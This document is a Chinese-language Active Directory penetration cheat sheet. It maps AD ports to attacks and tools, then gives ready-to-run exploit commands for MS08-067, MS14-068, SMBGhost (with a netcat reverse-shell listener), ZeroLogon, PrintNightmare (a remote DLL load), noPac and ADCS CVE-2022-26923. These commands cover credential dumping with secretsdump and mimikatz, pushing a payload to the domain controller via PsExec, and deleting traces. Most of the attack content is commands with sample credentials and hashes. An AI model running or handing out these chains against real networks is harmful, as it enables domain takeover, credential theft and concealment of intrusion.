AD域渗透相关

AD常见端口,服务,漏洞和工具

  • 端口 53 (DNS)
    • 漏洞:DNS 缓存中毒、DNS 放大
    • 工具:nslookupdigdnsenumFiercednsrecondnstracer

  • 端口 88 (Kerberos)
    • 漏洞:AS-REP 烤制、票证伪造、传递票证、银票攻击、金票攻击
    • 工具:impacket、Rubeus、Kerbrute、Hashcat、GetUserSPN、mitm6

  • 端口 135 (MS-RPC)
    • 漏洞:DCOM 利用、MS-RPC 权限提升
    • 工具:rpcclient、Metasploit、NMap、PowerSploit、NetExec(CrackMapExec)、Evil-WinRM

  • 端口 137-139 (NetBIOS)
    • 漏洞:SMB 中继、NTLM 中继、NetBIOS 欺骗
    • 工具:smbclient、Responder、impacket、NMap、NetExec(CrackMapExec)

  • 端口 389 (LDAP)
    • 漏洞:LDAP 注入、凭证窃取、匿名绑定
    • 工具:ldapsearch、NMap、ldapdomaindump、NetExec(CrackMapExec)、BloodHound、ADExplorer

  • 端口 445 (SMB)
    • 漏洞:EternalBlue、SMB 中继、SMB 签名已禁用、传递哈希
    • 工具:smbclient、impacket、NMap、NetExec(CrackMapExec)、Metasploit、smbmap

  • 端口 464(Kerberos 密码更改)
    • 漏洞:Kerberoasting、密码喷洒
    • 工具:impacket、Rubeus、Kerbrute、Hashcat、KrbRelayUp、ASREPRoast.py

  • 端口 593 (HTTP RPC)
    • 漏洞:身份验证绕过、MS-RPC 注入
    • 工具:rpcclient、Metasploit、NMap、PowerSploit、Evil-WinRM、NetExec(CrackMapExec)

  • 端口 636 (LDAPS)
    • 漏洞:LDAP 注入、证书欺骗
    • 工具:ldapsearch、NMap、NetExec(CrackMapExec)、BloodHound、ADExplorer

  • 端口 3268-3269(全局目录)
    • 漏洞:LDAP 注入、数据泄露
    • 工具:ldapsearch、NMap、NetExec(CrackMapExec)、BloodHound、ADExplorer

  • 端口 3389 (RDP)
    • 漏洞:BlueKeep、弱加密、RDP 劫持、凭证转发
    • 工具:ncrack、xfreerdp、Metasploit、NetExec(CrackMapExec)、rdpscan

AD域中常用手法如下,主要思路为:

信息收集,看账号权限,有什么服务,有没有配置什么特殊权限

然后根据情况用工具检测一遍漏洞,检测到哪个用哪个

常用漏洞:

(建议把下面所有漏洞检测和利用工具都收集起来,渗透的时候跑一遍)

MS08-067

RPC远程缓冲区溢出导致的远程代码执行漏洞

适用:Windows 2000;XP;Server 2003;Vista;Server 2008;7 Beta

msf模块:

use exploit/windows/smb/ms08_067_netapi     #使用模块
set rhosts 10.10.10.10      #设置靶机
set lhost 172.18.124.49      
set payload generic/shell_bind_tcp     #设置payload
exploit

MS14-025

GPP

适用:2003、2008、2012(2012以上已修复)


每当创建新的组策略首选项 (GPP) 时,都会在 SYSVOL 共享中创建一个带有该配置数据的 xml 文件,包括与 GPP 关联的任何密码。为安全起见,Microsoft将密码存储为cpassword. 但随后微软在 MSDN 上公布了密钥。

微软在 2014 年发布了一个补丁,阻止管理员将密码输入 GPP。但是该补丁对已经存在的这些易破解密码没有任何作用。

MS14-068

域用户提权到域管漏洞

利用方法:需要漏洞存在,且知道该域用户SID,账号,密码

PAC校验缺陷,导致可以伪造PAC,并且KDC可以正确解析放在TGT外(非预期位置)的PAC。以上两点导致可以从普通域用户提升到域管权限。

用法:

MS14-068.exe下载地址

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PsExec64.exe下载地址

https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

将内存中已有的kerberos票据清除,清除方法使用mimikatz

获取调试权限(必须是管理员权限才能抓)
privilege::debug

查看当前kerberos票据列表
kerberos::list

清除kerberos票据
kerberos::purge

whoami/all查看本机详细信息(主要是看SID,抓hash查看也行)
sekurlsa::logonpasswords

S-1-5-21-979886063-1111900045-1414766810-1103

利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书

MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

MS14-068.exe -u <域用户名>@<域名> -p <域用户密码> -s <域用户SID> -d <域控IP>

MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d 10.10.10.100

利用mimikatz.exe将证书写入,从而提升为域管理员

kerberos::ptc C:\生成的证书的位置(一般是ccache结尾)

验证是否成功提权:

列出域控的C盘目录,如果成功访问则说明普通域用户提权成功
dir \\域控机器名\c$

使用PSTools目录下的PsExec.exe获取shell,#psexec.exe以管理员权限运行连接域控

PsExec.exe \\域控机器名 cmd.exe
然后就可以通过命令上传码子了
copy c:\\1.exe \\域控机器名\c$\
再通过PsExec.exe运行

MS17-010

永恒之蓝,实战中,非特殊情况,不要使用,蓝屏非常麻烦

适用:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

工具:MSF

CVE-2020-0796

https://github.com/ZecOps/CVE-2020-0796-RCE-POC

SMB v3远程代码执⾏漏洞获取权限

适用:Windows 10 1903-1909

nc -lnvp   <reverse_shell_port>
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>

CVE-2020-1472

ZeroLogon域管密码置空(登录后必须还原,长时间会让域控脱域)

条件:需要有一个普通域用户权限

原理:微软在进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client challenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零(1/256)。通过碰撞方法,攻击者便完成了域身份认证,修改krbtgt用户密码为空,从而进行DCsync。详细原理:zerologon 特权提升漏洞(CVE-2020-1472)原理分析与验证。

适用:
Windows Server 2008 R2
Windows Server 2012、Windows Server 2012 R2
Windows Server 2016
Windows Server 2019、version 1903、1909、2004

工具:https://github.com/mstxq17/cve-2020-1472

net group "domain controllers" /domain      #查询域控主机名
python3 cve-2020-1472-poc.py test-ADMIN 10.10.10.100   #域控主机名   域控ip
python3 cve-2020-1472-exploit.py test-ADMIN 10.10.10.100   #使用exploit将域控机器账号重置
python3 secretsdump.py test.admin/[email protected]    -no-pass  #四个空格
python3 wmiexec.py -hashes aad3b435b51404abcd121312d3b435b51404ee:7c85312321qaacsde620b6e8c37905 test.admin/[email protected]
#然后通过导出 sam system 等文件到本地,获取域控机器上本地保存之前的 hash 值用于恢复,不然就脱域了:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save                            #下载到比本地
get sam.save
get security.save 
del /f system.save                         #清理痕迹
del /f sam.save              #清理痕迹
del /f security.save          #清理痕迹

#通过 sam.save、security.save、system.save  这些文件获得原来域控机器上的 Ntlm Hash 值,用于恢复密码:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL   #提取原密码HASH
#通过拿到 $MACHINE.ACC: 的值,然后进行恢复:注意需要后半部分:
$MACHINE.ACC: 的值$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:ce7b34c0f2c72d6cb03123ef5ff741ca
python3 reinstall_original_pw.py test-ADMIN 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca
#使用脚本来检测是否恢复密码成功:
python3 secretsdump.py test.admin/[email protected] -just-dc -no-pass
#或者还可以使用这个:注意四个空格
python3 secretsdump.py test.admin/[email protected]    -no-pass
#至此整个攻击已经完成
#mimikatz zerologon域:hacker.testlab
privilge::debug #权限提升
lsadump::zerologon /target:dc.hacker.testlab /account:dc$ #这个是poc
lsadump::zerologon /target:dc.hacker.testlab /account:dc$ /exploit  #这个是exp
lsadump::dcsync /domain:HACKER.LOCAL /dc:dc.hacker.testlab /user:krbtgt /authuser:dc$ /authdomain:HACKER /authpassword:"" /authntlm #再次空密码尝试
lsadump::postzerologon /target:10.10.10.100 /account:dc$ #恢复密码

CVE-2021-1675

PrintNightmare

利⽤CVE-2021-1675 打印机服务漏洞加载DLL执⾏代码。影响2008-2019。需要域内凭证,实测2016和2019可利⽤成功使⽤impacket rpcdump.py脚本检测print spooler服务

适用:windows10(16-21) windows server (08-19)

作用:提权使用rpcdump.py扫描潜在的易受攻击的主机,如果它返回下面其中的一个值,则它可能是易受攻击的。

pcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\10.10.10.10\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

CVE-2021-42287&&CVE-2021-42278

NOpac

适用:windows 2008-2022
原理:CVE-2021-42278是一个安全绕过漏洞,允许通过修改机器账户的 SAMAccountName属性来冒充域控制器。与标准用户账户相比,机器账户的名称末尾附加了“$”符号,但实际中,AD 并没有验证域内机器账户中是否具有“$”,导致机器账户可以被假冒。

CVE-2021-42287是影响Kerberos特权属性证书 (PAC)的安全绕过漏洞,允许通过假冒域控制器,使密钥分发中心(KDC)创建高权限票据。
根据认证Kerberos 协议,在请求服务票证前需要先签发TGT(票据授权凭证)。但是,当为活动目录中不存在的账户请求服务票证时,密钥分发中心(KDC)将在该账户名上附加“$”符号进行搜索。将这一行为与CVE-2021-42278结合,测试人员可以实现域内权限提升。

python3 sam_the_admin.py hack.com/test:Aa123456 -dc-ip 192.168.11.250 -debug
python3 sam_the_admin.py hack.com/test:Aa123456 -dc-ip 192.168.11.250 -dump -debug #dcsync
python3 sam_the_admin.py hack.com/test:Aa123456 -dc-ip 192.168.11.250 -shell -debug

https://github.com/WazeHell/sam-the-admin
https://github.com/Ridter/noPac
https://github.com/cube0x0/noPac
#https://github.com/cube0x0/noPac
#检测漏洞
noPac.exe scan -domain qaq.org -user admin -pass 'Aa123456'
#利用漏请求域管用户 cifs服务ST,用于访问共享
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt
#利用漏洞请求域管用户 ldap服务ST,用于dcsync
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service ldap /ptt
#利用漏洞请求域管用户HOST/RPCSS服务ST,用于执行命令。可远程利用
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service HOST /ptt
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service RPCSS /ptt
#远程利用导出注入LDAP dcsync,先用MIMIkatz导出票据
python ticket_converter.py ticket.kirbi ticket.ccache #kirbi转换为impacket ccache票据格式
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc

CVE-2022-26923

ADCS

影响范围:windows 2008-2022。

Windows Server 2012 R2        
Windows RT 8.1             
Windows 8.1                
Windows Server 2016             
Windows 10               
Windows 10 Version 21H2      
Windows 11              
Windows Server, version 20H2
Windows 10 Version 20H2       
Windows Server 2022     
Windows 10 Version 21H1       
Windows 10 Version 1909      
Windows Server 2019        
Windows 10 Version 1809

原因:

由于计算机账户中的dNSHostName不具有唯一性,可以对其进行伪造,冒充高权限的域空机器账户,实现权限提升的效果

利用条件:

  1. 能够创建机器账户(或拥有某机器账户的控制权)
  2. 对机器账户具有修改属性的权限
powershell Get-ChildItem Cert:\LocalMachine\Root\        #列出本地机器账户的证书,用于发现CA名称
#https://github.com/CravateRouge/bloodyAD
# 创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'

# 设置dNSHostName
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 setAttribute 'CN=CPT01,CN=Computers,DC=redteam,DC=lab' DNSHostName '["DC2016.redteam.lab"]'

使用Certipy工具申请证书

certipy req 'redteam.lab/CPT01$:[email protected]' -ca 'redteam-DC2016-CA' -template 'Machine'

使用Certipy工具申请票据。

certipy auth -pfx dc2016.pfx -username DC2016$ -domain redteam.lab-dc-ip 10.10.2.20 

获取到域控机器账户的Hash后,可以执行DCSync攻击。

KRB5CCNAME=dc2016.ccache python3 secretsdump.py -k redteam.lab/DC2016\$@dc20

使用wmiexec等工具获取域控权权限。

python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.lab/[email protected] -dc-ip 10.10.2.20

afrog fscan nbtscan SharpHostInfo Mscan sharphound

找到的一个好的思路,但是并不完全,可以参考

https://github.com/vpxuser/Central-Management-System-Exploitation-Cheat-Sheet?tab=readme-ov-file

AD Pentest Tools – 域渗透工具

工具类型工具名称工具用途
C2管理Cobalt StrikeC2管理、后渗透
信息收集AdFind域信息收集
信息收集Nmap端口扫描
信息收集PowerView.ps1域信息收集
信息收集SharpView域信息收集
信息收集ldapdomaindump域信息收集
信息收集ASREPRoast枚举域用户
信息收集Invoke-Kerberoast.ps1枚举域SPN服务账号
字典枚举kerbrute枚举域用户
字典枚举smartbrute枚举域用户
暴力破解hashcat密码破解
端口转发PortBender端口转发、端口映射
端口转发StreamDivert端口转发、端口映射
漏洞利用krbrelayxKerberos中继攻击
漏洞利用Certipy服务证书模板攻击
漏洞利用mitm6中继攻击
漏洞利用kekeoKerberos攻击
漏洞利用RubeusWindows域渗透集成工具
漏洞利用ImpacketLinux域渗透集成工具
漏洞利用ExchangeRelayXExchange中继攻击
漏洞利用SharpSCCMSCCM中继攻击
漏洞利用Coercer强制认证漏洞利用
漏洞利用PetitPotam强制认证漏洞利用
漏洞利用DFSCoerce强制认证漏洞利用
漏洞利用ShadowCoerce强制认证漏洞利用
漏洞利用PrivExchange强制认证漏洞利用
工具